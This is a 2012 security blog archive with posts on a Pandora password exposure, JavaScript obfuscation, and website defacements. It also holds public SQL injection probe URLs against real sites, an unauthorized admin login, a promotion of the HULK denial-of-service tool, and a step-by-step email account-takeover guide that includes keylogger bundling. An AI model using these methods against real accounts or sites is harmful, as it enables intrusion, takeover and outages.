Techy Zilla

Pandora Storing Passwords In Plain Text In Client Side.

2012-09-21T22:57:00.002+05:30

I came across this post on Google+ that showed that Pandora is sending password in plaintext to a logged in user and anyone can access them from a computer that's already logged in to Pandora. I don't know why they have to store their password in plain text on client side. But hope they are not storing their password in plain-text on their servers.

According to the post on Google+ anyone can get the password of a already logged in user of Pandora from the user settings page. Because for whatever reason the password is sent to the user settings page and it's in plain text.

The interesting thing to note is that even though the data to the user settings page is sent via HTTPS the password is accessible from the user settings page by injecting a script.

"Even though the password itself appears to be fetched over HTTPS, the page it is inserted into is not... and thus a man-in-the-middle attack is possible to retrieve a user's password by injecting a script into the main page that reads it from the DOM."

At the time I'm writing this post it seems like Pandora might have patched the vulnerability.

This is the original post on Google+. You can read the original post and the comments on Google+ by following the link to the post.

Note: This is not a password leak - you don't need to go and change your password on every site you use. Just change your Pandora password to something that isn't used elsewhere. Pandora have at least partially patched the issue. But it's still a good idea to use different passwords for different sites.

---

If you have a Pandora account, I highly recommend using a throwaway password for it (assuming you don't do so already).

Why? Because Pandora doesn't one-way hash their passwords. If your account is logged in on a computer, anyone who sits down at that computer can go and look up your password on Pandora's settings page.

Attached is an image that shows what that settings page looks like upon load - I haven't manually entered anything into the form fields and I don't use Chrome's auto-fill; the text in the fields is populated by Pandora.... including the plaintext of the password.

Things like this are why I wrote a blog post about how to do web app auth correctly:
http://codingkilledthecat.wordpress.com/2012/09/04/some-best-practices-for-web-app-authentication/

Thanks to +Dan Boger for bringing this up.

---

Edit: Also just discovered that their password-reset tokens aren't single use. You can reset the password of an account multiple times with the same reset token link...

Also, since Pandora allows you to just change the password field and hit "Save", if you come across someone's logged-in computer, you can just change their password even if Pandora didn't tell you what it was. (The right way to do this is to require the user to enter their current password along with the new password, and pre-fill none of the fields.)

---

Edit 2: It has been pointed out in the comments that even though the password itself appears to be fetched over HTTPS, the page it is inserted into is not... and thus a man-in-the-middle attack is possible to retrieve a user's password by injecting a script into the main page that reads it from the DOM, if you have control of the upstream (e.g. if you're the owner of a public wireless network or the like).

---

Edit 3: It has been further observed that Pandora appears to store the password using local storage in encrypted form and then load it into the password box locally. While this does indicate that they probably don't send unencrypted passwords over the wire, it doesn't change the fact that it is trivially easy for someone to walk up and look at your password.

---

Edit 4: Let's be clear: this isn't about how Pandora stores passwords in their database. As investigation has shown, it is quite possible that Pandora doesn't use plaintext passwords server-side. (The only entity that could definitively answer that question is Pandora.) The issue being raised here centers on the fact that it is trivially easy to recover the plaintext form of the password stored *client-side*.

---

Edit 5: Pandora has now at least partially patched this; the password field now contains "__USE_EXISTING__" by default unless changed.

Better Javascript Obfuscating Method To Protect Your Code

2012-09-13T00:23:00.001+05:30

The thing that I've come across from time to time is unprotected javascript code. Most of the javascript codes are not worth stealing because they don't represent a full program but if you have an online service that's entirely based on javascript code? And what if the service is a premium service then you have to protect your code from getting in to other people's hands.

The best example for this is the SETT Decoder that's entirely based on Javascript settdeco.bhasha.lk

Because javascript is a client side language, unlike PHP which is a server side language in javascipt anyone can read the code. So the best way is to obfuscate your code.

Obfuscation (or beclouding) is the hiding of intended meaning in communication, making communication confusing, wilfully ambiguous, and harder to interpret. - Wikipedia

There are free tools to obfuscate javascript code, one such popular tool is www.javascriptobfuscator.com there are so many popular obfuscating tools out there, but the unfortunate thing is that there are ways to get through this obfuscation and revealing the code.The best de-obfuscate tool that I've come across on the Internet is jsbeautifier.org. This can even decode obfuscation by www.javascriptobfuscator.com.

I was making a javascript that I wanted the code to be protected and I needed a better obfuscation method, I searched the and came across this question at StackOverflow : http://stackoverflow.com/questions/194397/how-can-i-obfuscate-javascript

There are many obfuscation tools are given in the answer to the question but all of the obfuscation by these tools can be de-obfuscated using jsbeautifier.org. So how can I protect my code? There is a simple way to make de-obfuscation nearly impossible.

The trick here is to use two different obfuscation methods on the same code. Let's take this code for example.

Original Code :

function myFunction()
{
var x=5;
return x;
}

Let's first obfuscate the code using www.javascriptobfuscator.com.

Obfuscated code :

var _0x7275=[];function myFunction(){var _0x49f5x2=5;return _0x49f5x2;} ;

Now let's try to de-obfuscate the code using http://jsbeautifier.org/

I get the original code in return, but the only difference is that the variables are hidden but that won't make any difference because we got the good part of the code

Output de-obfuscated code :

function myFunction() {
    var _0x49f5x2 = 5;
    return _0x49f5x2;
};

Now let's obfuscate the code using http://www.daftlogic.com/projects-online-javascript-obfuscator.htm I found this tool from the answer from stackoverflow.

Obfuscated code :

eval(function(p,a,c,k,e,d){e=function(c){return c};if(!''.replace(/^/,String)){while(c--){d[c]=k[c]||c}k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return p}('3 1(){2 0=5;4 0}',6,6,'x|myFunction|var|function|return|'.split('|'),0,{}))

They obfuscate the code in a different method than www.javascriptobfuscator.com. But when you try to de-obfuscate the code using http://jsbeautifier.org

Output de-obfuscated code :

function myFunction() {
    var x = 5;
    return x
}

You get the exact original code as in return. So what can we do to protect our javascript? Other obfuscated code using different tools can be de-obfuscated using http://jsbeautifier.org in the same way.

The thing that you can see clearly is that http://www.daftlogic.com/projects-online-javascript-obfuscator.htm and www.javascriptobfuscator.com use two different methods to obfuscate the javascript.

So first obfuscate your original javascirpt using http://www.daftlogic.com/projects-online-javascript-obfuscator.htm.

Original Javascript :

function myFunction() {
    var x = 5;
    return x
}

Obfuscated code using http://www.daftlogic.com/projects-online-javascript-obfuscator.htm:

Obfuscated code using :

eval(function(p,a,c,k,e,d){e=function(c){return c};if(!''.replace(/^/,String)){while(c--){d[c]=k[c]||c}k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return p}('3 1(){2 0=5;4 0}',6,6,'x|myFunction|var|function|return|'.split('|'),0,{}))

Now obfuscate the encrypted code that you get as the output from http://www.daftlogic.com/projects-online-javascript-obfuscator.htm using www.javascriptobfuscator.com.

And www.javascriptobfuscator.com will give you and output of some code like this as the result

Multiplie obfuscated output :

var _0x2815=["\x33\x20\x31\x28\x29\x7B\x32\x20\x30\x3D\x35\x3B\x34\x20\x30\x7D","\x7C","\x73\x70\x6C\x69\x74","\x78\x7C\x6D\x79\x46\x75\x6E\x63\x74\x69\x6F\x6E\x7C\x76\x61\x72\x7C\x66\x75\x6E\x63\x74\x69\x6F\x6E\x7C\x72\x65\x74\x75\x72\x6E\x7C","\x72\x65\x70\x6C\x61\x63\x65","","\x5C\x77\x2B","\x5C\x62","\x67"];eval(function (_0xf81fx1,_0xf81fx2,_0xf81fx3,_0xf81fx4,_0xf81fx5,_0xf81fx6){_0xf81fx5=function (_0xf81fx3){return _0xf81fx3;} ;if(!_0x2815[5][_0x2815[4]](/^/,String)){while(_0xf81fx3--){_0xf81fx6[_0xf81fx3]=_0xf81fx4[_0xf81fx3]||_0xf81fx3;} ;_0xf81fx4=[function (_0xf81fx5){return _0xf81fx6[_0xf81fx5];} ];_0xf81fx5=function (){return _0x2815[6];} ;_0xf81fx3=1;} ;while(_0xf81fx3--){if(_0xf81fx4[_0xf81fx3]){_0xf81fx1=_0xf81fx1[_0x2815[4]]( new RegExp(_0x2815[7]+_0xf81fx5(_0xf81fx3)+_0x2815[7],_0x2815[8]),_0xf81fx4[_0xf81fx3]);} ;} ;return _0xf81fx1;} (_0x2815[0],6,6,_0x2815[3][_0x2815[2]](_0x2815[1]),0,{}));

You might think this code won't work because of multiple obfuscation, but trust me the code still works as a charm even if it's obfuscated multiple times.

Now try de-obfuscating this code using using http://jsbeautifier.org and the output from http://jsbeautifier.org would be like this

De-obfuscated output :

3 1() {
    2 0 = 5;
    4 0
}

Purely useless numbers and letters. So the output code from http://jsbeautifier.org is useless and our code is protected. Now to make sure I'll try the code with a different de-obfuscator javascriptbeautifier.com which is not as good as jsbeautifier.org and when I try to de-obfuscate the code this is the output I get from javascriptbeautifier.com is this :

var _0x2815 = ["\x33\x20\x31\x28\x29\x7B\x32\x20\x30\x3D\x35\x3B\x34\x20\x30\x7D", "\x7C", "\x73\x70\x6C\x69\x74", "\x78\x7C\x6D\x79\x46\x75\x6E\x63\x74\x69\x6F\x6E\x7C\x76\x61\x72\x7C\x66\x75\x6E\x63\x74\x69\x6F\x6E\x7C\x72\x65\x74\x75\x72\x6E\x7C", "\x72\x65\x70\x6C\x61\x63\x65", "", "\x5C\x77\x2B", "\x5C\x62", "\x67"];
eval(function(_0xf81fx1, _0xf81fx2, _0xf81fx3, _0xf81fx4, _0xf81fx5, _0xf81fx6) {
    _0xf81fx5 = function(_0xf81fx3) {
        return _0xf81fx3;
    };
    if (!_0x2815[5][_0x2815[4]](/^/, String)) {
        while (_0xf81fx3--) {
            _0xf81fx6[_0xf81fx3] = _0xf81fx4[_0xf81fx3] || _0xf81fx3;
        };
        _0xf81fx4 = [function(_0xf81fx5) {
            return _0xf81fx6[_0xf81fx5];
        }];
        _0xf81fx5 = function() {
            return _0x2815[6];
        };
        _0xf81fx3 = 1;
    };
    while (_0xf81fx3--) {
        if (_0xf81fx4[_0xf81fx3]) {
            _0xf81fx1 = _0xf81fx1[_0x2815[4]](new RegExp(_0x2815[7] + _0xf81fx5(_0xf81fx3) + _0x2815[7], _0x2815[8]), _0xf81fx4[_0xf81fx3]);
        };
    };
    return _0xf81fx1;
} (_0x2815[0], 6, 6, _0x2815[3][_0x2815[2]](_0x2815[1]), 0, {}));

This too is useless code and your code is still protected. This is pretty simple and a good way to protect your javascript code. The trick is to use two obfuscating methods one on top of another. And the end obfuscated code still works.

Sri Lanka Premier League Website Hacked Again. And How It's Hacked So Many Times.

2012-08-28T00:14:00.001+05:30

Sad but true, the title is correct. Sri Lanka Premier League website (SLPL) is hacked and defaced again. I don't know the number exactly but the website is hacked over an over an over again. I think we've just found out how the website is hacked so many times.

And today I got a Tweet from Gazly saying that the SLPL website is hacked again.

Again SLPL.LK#hacked !! bullshit Developers @rukshanr did u noticed that i saw a PHP Shell inside of Admin image directry
— Muhammed Gazzaly (@gazly) August 27, 2012

This is an epic fail of the SLPL web admins not protecting enough. When the SLPL website was hacked before I showed how easy it was to hackers to break into the website. That vulnerability was fixed quickly.

But developers and web admins must remember that when a website is hacked the hackers make a back door, they sometimes close the vulnerability that they used to hack and make a new back door. So that when the developers check and fix the vulnerability, the hackers can later hack the website using their newly made back door.

However, Gazly showed me the vulnerability that was used to hack the website this time. Apparently the hackers have left a PHP shell file as a jpg file, most probably the hackers who hacked the website before.

Therefore, there should be a backdoor inside the website that makes the JPG file to execute as a PHP file, maybe a back door to run an eval command or a PHP include in the website code that can be used to execute the shell. This must be how the hackers are hacking the SLPL website over and over and over again.

I called the JPG file using PHP include from my server and the shell is a b374k PHP shell. The screen shot is one that I took after running the shell on my server. The IP addresses are hidden.

The file still exists on the website and if the developers didn't remove the PHP shell the hackers can easily hack the website again. The developers must also check and fix the back door that the hackers use to execute the JPFG shell as a PHP file.

The most interesting fact is with such a good shell I'm curious why the hacker isn't completely deface the website.

Let's hope the developers fix the vulnerability and make sure that the SLPL website is not hacked again.

You can find the code of the b374k shell here : http://code.google.com/p/b374k-shell/

Credits : Gazly http://twitter.com/gazly

Previous story about the SLPL website getting hacked : http://techyzilla.blogspot.com/2012/08/sri-lanka-premiere-league-website-gets-hacked.html

Posting Images To TwitPic And Twitter Using TwitPic API And OAuth Echo.

2012-08-18T10:48:00.000+05:30

For the past few days I was busy playing with the Twitter API trying to make my own client. And tell you the truth It's not that difficult to make a Twitter App.

The steps are very simple.

Register an App on Twitter, get the Consumer Key and the Consumer Secret that they give you.
Get the Abraham's Twitter OAuth Library. It's simple to use and suggested by Twitter. If you are using PHP.
Upload it to server change the settings of the OAuth library, and you are pretty much done.
And now using the OAuth library you can do all the API calls. The hardest part is using the JSON response generating the Timeline etc. Everything else is pretty simple.

If you are posting picture it's little bit different, but Robhaswell has improvd the Abraham's Twitter OAuth Library so you can upload pictures to Twitter easily. You can get it here : https://github.com/robhaswell/twitteroauth

The thing that took time to figure out is that you need to first upload the file into the server an then make the post request to Twitter. The temporary name of the file uploaded to the server would do. $_FILES["file"]["tempname"]

Having done that it's easy to post pictures to Twitter, but what I've then tried is posting pictures to TwitPic and then posting that picture to Twitter. It's actually a 2 different things, if you post a picture to Twitpic it will not appear on Twitter. You have to post the picture to Twitter by yourself using the response you get from TwiPic after successfully posting the image to TwitPic. For that all you need is the URL(picture) of the TwitPic image and the text you send to TwitPic (tweet). A Tweet with a twitpic url and a Tweet successfully displays the picture on Twitter. We don't have to worry about that.

TwitPic API is simple and it's not hard to understand. However it's not easy to post a picture to TwitPic because of the thing called OAuth Echo https://dev.twitter.com/docs/auth/oauth/oauth-echo. Thanks to OAuth Echo it's hard to post the picture to TwitPic.

Although Abraham's Twitter OAuth Library is the easiest OAuth library to use there is no example of how to combine OAuth Library and TwitPic API and make a OAuth Echo request.

There are so many people having trouble using this, you can Google Twitpic 401 and you'll see how many people are having trouble with this. So having said that I've made a simple to understand easy to use code that you can make a OAuth Echo call and post pictures to TwitPic.

You can find the code here on GitHub : https://gist.github.com/3384465

I'm not talking about OAuth Echo, you can read the about it from Twitter from the above link, basically OAuth Echo is,

OAuth Echo is a means to securely delegate OAuth authorization with a third party while interacting with an API.

When you are using the code there are only 3 things you need to change. They are the parameters that you change when posting a picture to TwitPic. It's as simple as that. The code will handle everything about OAuth Echo and Twitter requests.

Remember, this code works for Abraham's Twitter OAuth Library or Robhaswell's Twitter OAuth Libraries only (The commonly used PHP OAuth Libraries). But you can modify the code above //Twitpic magic begins here line to work with a custom OAuth Library.

Get a API key from TwitPic after registering an app and put it here $args['key'] = 'xxxxxx';
Put the message you want to Tweet here : $args['message'] = "testing twitpic from api"; replace "testing TwitPic API" with a custom message.
Replace $args['media'] = "@imge.png" ; with the image you want to post. Make sure you use $_Files["file"]["tempname"] or the path of the file name after uploading.

Most people get the 401 - "Could not authenticate you (header rejected by twitter)." error because of the error of the header being sent to Twitter, this is mostly because of an error in the OAuth signature being sent to TwitPic.

You can read more info about generating the OAuth Signature here, it helped me to generate the correct signature from my code. : https://dev.twitter.com/docs/auth/creating-signature .

In the code I'm giving there is no need to worry about this signature, it's all being taken care of. The only thing that need to be changed are the parameter I've given above.

The code that I'm giving however will not post the image to Twitter, after posting you will get a response from TwitPic with some JSON parameters. You need to use the JASON parameters to make a POST request to Twitter using out OAuth library.

Replacing the code below //Twitpic json respone with the following code will post the image to Twitter.

$json_out = json_decode($response,true);

$msgt = $json_out["url"];       

$msgpic = $json_out["text"];

$combinemsg = $imessage . " " . $msgt;

//Sending a post request to Twitter.
$connection->post('statuses/update', array('status' => "$combinemsg"));

I'll be adding more noted an update to the code. You can find the code here : https://gist.github.com/3384465

The Collateral Nature of A Bug.

2012-08-12T18:27:00.001+05:30

Recently I got a chance to report a vulnerability to popular web developer WebLook. I've found that most of the websites had a SQL injection vulnerability.

But I never reported to them until I found that a classmate of mine is a designer at WebLook. He said he will pass it to the developers at WebLook so they will be able to fix it soon.

A SQL injection attack consists of insertion or "injection" of a SQL query via the input data from the client to the application. A successful SQL injection exploit can read sensitive data from the database, modify database data (Insert/Update/Delete), execute administration operations on the database (such as shutdown the DBMS), recover the content of a given file present on the DBMS file system and in some cases issue commands to the operating system. ( https://www.owasp.org/index.php/SQL_Injection )

You can find if there is a SQL injection vulnerability by adding a ' at the end of the URL. If it gives an error message regarding SQL there is a chance that the website is SQL injectable.

Even if there is no error message the website might be vulnerable to SQL injection, even there is a error message it might not be vulnerable to SQL injection. But there is a high chance that the website is vulnerable to SQL injection if there is such an error message.

Some of the vulnerabilities of WebLook :

http://www.wa.lk/automobile/product_display.php?id=13%27

http://www.unhcr.lk/video-stream.php?id=26%27

The thing I want to emphasize is that when there is such a vulnerability in a website, there is a high chance that most of the websites developed by the same web developerhas the same vulnerability. It's similar to a user using the same password for all of their accounts. And unfortunately websites developed by Web Look were vulnerable.

We saw this in action when Sony got hacked due to an SQL injection, different Sony websites were hacked within a short period of time and mostly by SQL injection.

I also posted a similar situation when the Fitch Rating Lanka website was hacked because of a SQL injection. The website was developed by EnterSys and almost all the websites were vulnerable to SQL injection.

So developers need to check their code for such vulnerabilities in a website or a program. If they find a vulnerability it's a good thing to check all of there projects. Because there is a likely chance that other projects having the same vulnerability.

Sri Lanka Premiere League Website Gets Hacked During The Game's Openning Ceromony.

2012-08-10T23:53:00.001+05:30

The SLPL (Sri Lanka Premiere League) started today, and even before the opening ceremony of the games ended the website was hacked and defaced by Indian hackers.

The hackers have hacked in to the website and defaced the website posting the messages shown above.

The website admins were quick to bring the website back up again. The ironic thing was that the website was hacked even before the opening ceremony has come to a close (I'm watching the opening ceremony as I write this post).

The website admins have used a weak administrator password that gives access to the website's content management system. The hackers have used this vulnerability to deface the website.

A website must use strong passwords, an easy to guess password means the website is vulnerable and it's just a matter of time until a bad hack your website.

Although the website is back up again the vulnerability still exists and the web admins must use a good password to avoid such situations in the future.

To demonstrate how the hackers hacked the website, I entered the most common user-name and password combination and from my very first attempt I was able to access the admin panel of the website.

Proof of concept how the hackers did it : SLPL website admin page.

I've just talked about strong passwords in one of my previous posts. What password is a good password : http://techyzilla.blogspot.com/2012/08/what-password-is-a-good-password.html

Update : The web admins have changed the password. Let's hope they've switched to a stronger password.

HULK HTTP Denial of Service Tool.

2012-08-10T13:28:00.001+05:30

I'm a big fan of Denial of Service attacks (DoS), always in search of new types of attacks tools and methods.

Yesterday I came across a DoS tool known as HULK. HULK is the short form of (HTTP Unbearable Load King).

Basically a denial of service attack send large numbers of fake requests per second to a web server until the server reaches the maximum number of requests it can handle, so real requests from users are not passed to the server making the website unreachable for users.

Read about Denial of Service attacks from the WikiPedia article here, which gives a nice description.

In a DoS attack a single computer can take down a website without using much bandwidth and resources. which makes it fascinating. Most DoS tools use a vulnerability in the web app, or the web server software like Apache.

HULK (HTTP Unbearable Load King) sends large number of HTTP requests eating up the resources of the web server making the website to go offline, but the difference of HULK is that each HTTP request is different from the next.

HULK changes the the following things in a HTTP request

User Agent
Referrer
The Keep Alive time

Therefore each HTTP request, so according to the author it's harder for the web server to predict the next request and stop unwanted requests.

The main concept of HULK, is to generate Unique requests for each and every request generated, thus avoiding/bypassing caching engines and effecting directly on the server’s load itself.

Time for testing

From the first look it doesn't seem to take down a web server because servers are made to handle large number of requests and HULK doesn't exploit a vulnerability like Slow Loris.

Because the HULK changes the Keep Alive time, User Agent, and Referrer. Requests from the HULK looks like this,

GET /?ASH=REHRKP HTTP/1.1
Accept-Encoding: identity
Host: 192.168.1.103
Keep-Alive: 110
User-Agent: Opera/9.80 (Windows NT 5.2; U; ru) Presto/2.5.22 Version/10.51
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Connection: close
Referer: http://www.google.com/?q=VUCWJE
Cache-Control: no-cache

GET /?UALK=USXGPJD HTTP/1.1
Accept-Encoding: identity
Host: 192.168.1.103
Keep-Alive: 115
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.1 (KHTML, like Gecko) Chrome/4.0.219.6 Safari/532.1
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Connection: close
Referer: http://engadget.search.aol.com/search?q=ZNWFXTOD
Cache-Control: no-cache

So I decided to put it in to the test, I decided to fire HULK on a DDoS protected web server because it has DDoS protection it should hold the attack. However I was surprised with my results, here is a screen cap I took during my testing.

It only took less than 1 minute for the website to go down. The website stayed down for nearly 10 minutes until the DDoS protection completely blocked the incoming requests. The site immediately comes online after stopping the script, just like any other DoS tool.

However, when I tried HULK on a web server that is not using DDoS protection (it crashes under the a Slow Loris attack) the site did not go down but was taking a long time to load.

HULK is a pretty basic script that was written as a proof of concept script. The script can be improved a lot, making it a good DoS weapon.

In a scenario like above if one can do a small modification to the script to stop and restart itself in a given time, it should be able to hold down the website for a longer period of time.

Therefore HULK is a simple DoS tool that can do a lot of damage if improved.

Download the HULK script from here : https://docs.google.com/open?id=0B_bW1NzjFjqzbVU2UVduSXJodk0

Update : I showed the tool to Sam Bowne and he has tested HULK and you can find the results here : http://samsclass.info/124/proj11/hulk.html

Although the script gave me a "500 Response error" I tested the python script on Linux, because although the script gave a "500 Response error" the script was still sending requests so I ran the script on Linux to get the results. Also I don't have a computer running windows at the moment.

But, yes I too think that the HULK is not a powerful DoS tool, but used by a bot net or used by a multiple computers it can be powerful. Sam's test results should be more accurate than mine.

This is a small tool and the tool can be improved. According to Sam Bowne the attack was not detected by normal ClousFlare settings. So what if someone put this randomizing Use Agents, Referrers method on a normal DoS tool?

You can find the post by the author of the tool from HULK : http://www.sectorix.com/2012/05/17/hulk-web-server-dos-tool/
Spider Labs have done an in-depth test on the tool one can find it here : http://blog.spiderlabs.com/2012/05/hulk-vs-thor-application-dos-smackdown.html
Read about the post I wrote about Slow Read DoS attack here : http://outcastlife.wordpress.com/2012/03/31/the-slow-read-http-attack/

How I Will Hack Your Email - Part 2.

2012-08-09T15:23:00.000+05:30

This is the second post about how a hacker will try to break into your email address. If you haven't read the previous post I suggest you reading it first.

The important thing to take out from the previous post is, although most people use good passwords, people don't take take the security question seriously. People tend to pick weak security questions and thanks to social networks and social engineering (if needed) it's pretty much easy for one to find the answer to the security question and break in to an email.

So what if someone is not using a security question? This is quite common in gmail accounts, most people use a mobile number or an alternative email address to recover an email address if the user forgot the password.

If there is such an occasion, try to break in to the alternative email address, although most of the characters are not shown in the alternative email address at the password reset page, it's easy to predict at the alternative email address, because people tend to pick similar email addresses.

And if you are lucky the alternative email address will be using a weak password or a security question.

If we are trying to break into a gmail account, and the alternative email address is a Yahoo or Microsot (Live, Outlook) email account, then there is a very high percentage that alternative email address is using a security question, security questions are very common in Yahoo email accounts.

Therefor I can break into the alternative email address and reset the password of the email account I want to hack. This is NOT a fact, but trust me it works. And the chance of this being successful is pretty high.

KeyLogger to the rescue

If all of the above methods fail then things are getting a bit difficult, or even impossible, but I won't give up that easily. I might get a freely available keylogger, bundle it with an innocent file and will send you via Facebook or an email.

If you don't use an anti-virus software I will be getting all the key presses you do, and I will get your Emal password. So all I need to do is use that password and login to your account.

However the chance of this working is low, because the person might ignore the file and will not open it, but still there is an average chance if this working. If all the above fail it's worth giving a try.

Final thing I might do is to google your email address, because the email address might be in a data base dump made by hackers. Because most hackers hack a website and post the databases online. Pastebin.com is a good place to look for these kind of dumps.

For example like this database dump of Fitch Rating Lanka website most of the dumps contain email addresses and passwords.heir accounts.

So if a database dump has a password that you used to make an account then this password might work for your email address as well, because most people tend to use the same password for all of their accounts, or the dump might contain mobile phone numbers ,addresses, identity card numbers that can be used to answer the security question and break in to your email address.

This is the last thing I can do to hack your email account, not all websites get hacked, and the chance of your email address being in one of the hacked websites is low.

However even people who are work with tech tend to use the same passwords on all the online accounts. The best example is how hackers used a stolen password of an employee of DropBox from another website to hack DropBox because the employee used the same password for all his online accounts : http://www.zdnet.com/dropbox-gets-hacked-again-7000001928/

So all that tried and failed, I'd say bye bye to your email account, and go in search of some account that's more easier to hack.

How to protect yourself of being hacked

So how can one protect their accounts of being hacked?

Use strong passwords, that has numbers, letters and symbols.
Always try to use two factor authentication.
Avoid using a security question, if you have access to your mobile and alternative email address there is no need of a security question.
Don't use same passwords for all your online accounts. Try using different passwords and if you can't remember them all, use a tool like LastPass.
Change your passwords from time to time, at least once in every two mothns.

How I Will Hack Your Email.

2012-08-08T08:26:00.001+05:30

As I was talking about passwords and security of emails, I thought about writing a post about breaking in to an email account.

It's harder to do it than said or sometime impossible, but I spent my weekend randomly checking email addresses, from my contact list, from my Facebook friends, and from random email addresses that I found on the internet. And I was surprised with some of the things I found.

I didn't hack into any email addresses, but if I could get up to the password reset page, or guess the password it's a win, and if I can do that bad guys will definitely can do that.
So I'm going to write step by step things I would to if I want to break into your email.

When you say email there so many email providers, but here I'm mainly talking about Gmail, Yahoo and Microsoft email services. But some of these methods can be used on other email service providers as well.

It's a password thing.

Now, I have your email address that I need to break into, the first thing I would try to do is guess your password, because it's the most easiest thing to do. Not to mention most people are too lazy of picking good passwords.

The password might be associated with his personal life, what he do for living or if the email address belongs to an organization then what the organization do.

If you don't know about the person who owns the email address, the best thing is to search the email address on Facebook, if the email address is used to register an email address then you can find information regarding the person.

The most likely combinations I've came across are,

[person's name]1234 or set of numbers in an order.
Their mobile numbers.
Person who is in relationship with.
Something regarding work or a day to day activity.

All these information can be found on most of the Facebook profiles and if I'm lucky in guessing I will hack your email account. Also I'll try the names of your favourite celebrities, your favourite book, movie etc.

Time for a plan B.

Now I've tried all the combinations and all everything I can guess and still can't break in to your account. You might be using a good password, or you might be using a bad password that's something totally not related to you or just I can't guess it.

Either way I can't break in to your email that way, so I have to try a harder way. So my plan B would be resetting your password.

No matter how good your password is there is always a weak area that people don't think that seriously, it's the security question.

When it comes to Gmail most of the time people don't use the security question. Gmail users most of the time use getting a reset link to an alternative email account, or sending a verification code to the mobile phone.

However when it comes to Yahoo and Live mail there is much better chance of the person using a security question. However there is one plus point for a hacker is that Gmail has a single security question, while Yahoo has 2 security questions. Therefore if you can get through the first security question you almost got that email account, and in Yahoo it's hard because you have to answer 2.

If you think people use weak passwords, you have to see the security questions they use, for some reason people use very easy security questions, it might be because people don't think they are vulnerable if they provide a weak security question.

I checked some of the security questions from the people in my email contact list, here is one of them.

where is my home?

As you can see this question is very much easy to crack, some of the questions that I came across were,

What's my name.
Date of birth.
What's my first telephone number.
What's my middle name.
Place where you spent the honeymoon.

All of these questions are pretty much easy to find, so I will search the email address on Facebook and most likely there is a chance the person having a Facebook account and I can easily get the answer to the security question from there.

When it comes to the what's your first telephone number security question, I've seen that there is a higher chance the answer to this question being the current mobile number that this person is using. Because it's easier for the person to remember.

If the security question is not an easy one to find I can social engineer you until you give me the answer to the security question. This is tough and takes time but if I'm good at it I'll have the answer to the security question and I'll be resetting your email password and in your email in no time. And no matter how good your password is, I will get you from the security question.

Just check your email contacts for their security questions and you will be surprised how easy for someone to find an answer. Like I said before these security questions are common in Yahoo, but there are 2 questions, so finding the answers are difficult, Google has only one security question but most people don't use that password recovery option.

How am I going to hack your email if you are not using a security question? And how can you protect your email addresses from being hacked? I'll write it in my next post, this post is getting too long.

What Password Is A Good Password?

2012-08-03T21:51:00.000+05:30

There is lot of talk about password these days. Microsoft has renewed hotmail and they are giving @outlook.com mail addresses.

Soon after people started registering outlook.com email addressed NakedSecurity posted that the maximum length for password at outlook is only 16 characters.

And today I came across this tweet (click to see the large image) that shows Microsoft has limited the password length for 16 characters for older Hotmail users. Therefore current users who are using a password longer than 16 chars have to use the first 16 chars as their password for Hotmail.

According to the post by NakedSecurity Yahoo has a limit of 32 chars for a password and Google has a value of 200 maximum chars for a password.

So is 16 enough for a good password? Let's talk.

First thing to clear out is that most people believe the longer the password the harder it is for a hacker to crack the password. This is not 100% correct. The length of the password is not proportionate to the time it takes to crack the password. Same length passwords has different cracking times in a surpricingly wider range.

For example it's easier to crack a password like crackede than cr4ck3d3 (same number of chars but numbers in between). And it's easier to crack the password cr4ck3d3 than Cr4cK3d3 (same number of chars but including capital letters)

If you look at the time it takes to crack these passwords from a brute force attack, the times are like this.

crackede

cr4ck3d3

Cr4cK3d3

And one might think a password like 14906932 (same number of characters as password) is better than a password like cracked but if you look at the time it takes to crack 14906932 is surprisingly lower than the time it takes to crack a password like cracked.

14906932

Although the 3 passwords the have the same number of characters the time to crack the password using a brute force method changed dramatically.

So what about passwords with different number of characters?

Most people think when you increase the number of numbers and symbols of a password the difficulty to crack the password increases. This too is not 100% true. Let's take an example.

Let's take Cr4cK3d$ and iwannacrackyou as two passwords but different characters. If you look at Cr4cK3d$ it contains what it takes for a good password. Numbers uppercase and lower case letters and symbols. On the other hand iwannacrackyou contains only lowercase letters.

And if you enter the two passwords on to Facebook, Gmail or any other service they will tell you that Cr4cK3d$ is a strong password and iwannacrackyou is a weak password. But if you look at the time it takes to crack the two passwords in a brute force attack the stats look like this.

Cr4cK3d$

iwannacrackyou

The reason for this is iwannacrackyou contains more characters than Cr4cK3d3$ and therefore even iwannacrackyou appears weak, it'll take more time to crack in a brute force attack because it has more characters.

But things change when it comes to dictionary attacks, it'll be easier to crack passwords like password, cracked, within few seconds.

So can we generate a good 16 character password? Personally I think you can generate a good password using 16 characters. But it should contain upper case, lower case letters, numbers an symbols. It should not be a sentence or combination of words because they can b cracked using dictionary attacks.

These passwords are harder to remember or nearly impossible. The trick is use a password manager like LastPass. So you don't have to each and every password. Here are some randomly generated passwords with 16 chars and the time it would take to crack using a brute force attack.

*7m-3h5q?crugaz7


b*=Ru&eSegAgApe8

Therefore if you use a password like this with numbers, symbols, upper and lower case character, it's pretty much impossible for a brute force attack and a dictionary attack to crack these passwords and 16 characters is pretty much enough for a regular user to keep their accounts getting hacked.

Password Recovery Speeds : How long will your password stand up
How long would it take to crack your password?
http://en.wikipedia.org/wiki/Password_cracking#Time_needed_for_password_searches
https://www.grc.com/haystack.htm

Facebook Hides Profile ID From Facebook Photos.

2012-07-31T22:45:00.002+05:30

If you remember during the beginning of this year there was talk about Facebook not deleting the photos from their servers even after the original uploader has deleted the photo from their Facebook profile.

The even the photos were deleted the photos were accessible from their direct link. You can read the post on Ars Technica here : http://arstechnica.com/business/2012/02/nearly-3-years-later-deleted-facebook-photos-are-still-online

The problem was not just that, Facebook used name the photos according to a pattern. A typical uploaded photo file-name would be like this 531569_441667149197909_1575717973_120210_n.jpg. I can't remember the exact order, but the filename contained the photo ID, Album ID, Profile ID and another set of numbers. The 3rd set of numbers is the profile ID of the person who uploaded the photo.

